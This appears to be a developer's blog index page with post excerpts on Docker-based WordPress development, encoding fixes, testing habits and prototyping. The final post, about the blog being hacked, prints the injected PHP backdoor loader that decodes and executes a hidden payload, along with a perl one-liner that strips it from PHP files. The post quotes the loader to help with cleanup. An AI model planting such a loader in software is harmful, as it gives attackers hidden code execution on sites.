Quick and easy WordPress development using Docker

TL/DR: Head over to this GitHub repo for a handy way to develop WordPress plugins and themes using Docker.

I recently decided to create my first public WordPress plugin which provides basic FitBit stats for your blog.

This was on a fresh laptop (the one handily provided by Automattic, my new employer), so I had the opportunity to try something new in terms of my development environment.

I decided to try out Docker and the new Docker Compose tool (installation instructions – or just brew install boot2docker and brew install docker-compose).

Continue reading “Quick and easy WordPress development using Docker”

Fixing basic encoding issues migrating / upgrading a WordPress database

I recently joined Automattic as a Code Wrangler (more on that soon), and I decided now was the time to de-spam, combine and resuscitate my old WordPress blogs.

Along the way I noticed a few annoying encoding issues crept in. The Wordpress XML exporter/importer, for example, double-escaped all my quotes so that <a href=”this”> became <a href=”this”>, which as you can imagine broke… everything.

Continue reading “Fixing basic encoding issues migrating / upgrading a WordPress database”

How I test code

This post is inspired by a great piece by Rails creator DHH.

My name is Dan, and sometimes I write tests first, and sometimes I write tests afterwards, and sometimes I don’t test at all because it would add brittleness for no benefit. Often I delete tests that I think have outlived their usefulness, or add in tests when I find a crucial piece of code broke without warning.

I sometimes use tests to guide design, then throw the whole implementation away (tests and all) because the design was wrong — and it was the tests that told me so.

I only write tests when they allow me to go faster, further, with more focus and with more confidence. Sometimes I use this for prototyping, but not always – it depends on to what degree I’m prototyping code structure (TDD is great!) vs integration (TDD sucks!).

I try to remember that every line of code I write is a line that must be maintained, and that includes tests. I believe in lean code, AND lean testing. I believe that over thousands of iterations we can trim our implementations AND our tests down to just what is needed.

Also, when I write code…

Sometimes I rush headlong into the codebase and put in a giant refactor because some anti-pattern totally infuriates me. This is probably (but not certainly) my worst habit. But sometimes it’s been a giant win, even if it results in near-term instability.

I believe in sitting back and reading code I haven’t looked at in a while just to ask “am I proud of this, or could it be better?” because it’s a good way to bring fresh eyes to the design, and then making a small improvement and moving on.

I also believe that it’s ok if the first pass of anything isn’t perfect, because as long as someone is re-entering the code and making it a little better, it’ll get where it needs to go.

Irony overload as undecided voters criticise flip-flopper

Check out the buried lead in this article from Reuters:

“Romney just has to prove that he’s conservative enough for me,” said Eleanor Stump, a 70-year-old Tea Party member from Sheldon, Iowa. “I don’t like the way he’s flip-flopped.”

Stump said she initially supported Herman Cain, who dropped out of the race after charges of an extramarital affair, then went to Perry, then back to Cain and then to Gingrich. “I’ve gone back and forth so many times,” she said.

The Power of Prototyping

This is the first in what will be a series of blog posts for the Mozilla-Knight Journalism Challenge. This week we heard from Aza Raskin, former creative lead for Firefox and head of user experience for Mozilla, talking about the power of prototyping for understanding problems and building momentum behind your solution.

Continue reading “The Power of Prototyping”

We’re back

So I totally got hacked. Reminder: be vigilant about upgrading wordpress and its plugins, or bad things happen.

The hack looks like this, and appears all over the place, at the top of some files and the bottom of others. It decodes a huge blob of encoded text that was stuffed into one of the wp-options values.

get_option("_transient_feed_98e8dbd04edf43b096e815a29343b006"); $z=base64_decode(str_rot13($z)); if(strpos($z,"0FE00707")!==false){ $_z=create_function("",$z); @$_z(); }

My first thought: “Oh crap, removing that text from hundreds of files? No thanks.”. Command line to the rescue! Thanks to Perl for still being awesome after all these years.

find . -name "*.php" -exec perl -e 's/^.*_transient_feed_98e8dbd04edf43b096e815a29343b006.*$//g' -p -i {} ;

If you’ve been struck by the same thing, just replace the _transient_feed with your own (the numbers probably change). These script-kiddy hackers are a perpetual annoyance. Hey kids – go build something awesome and useful instead of messing our web sites.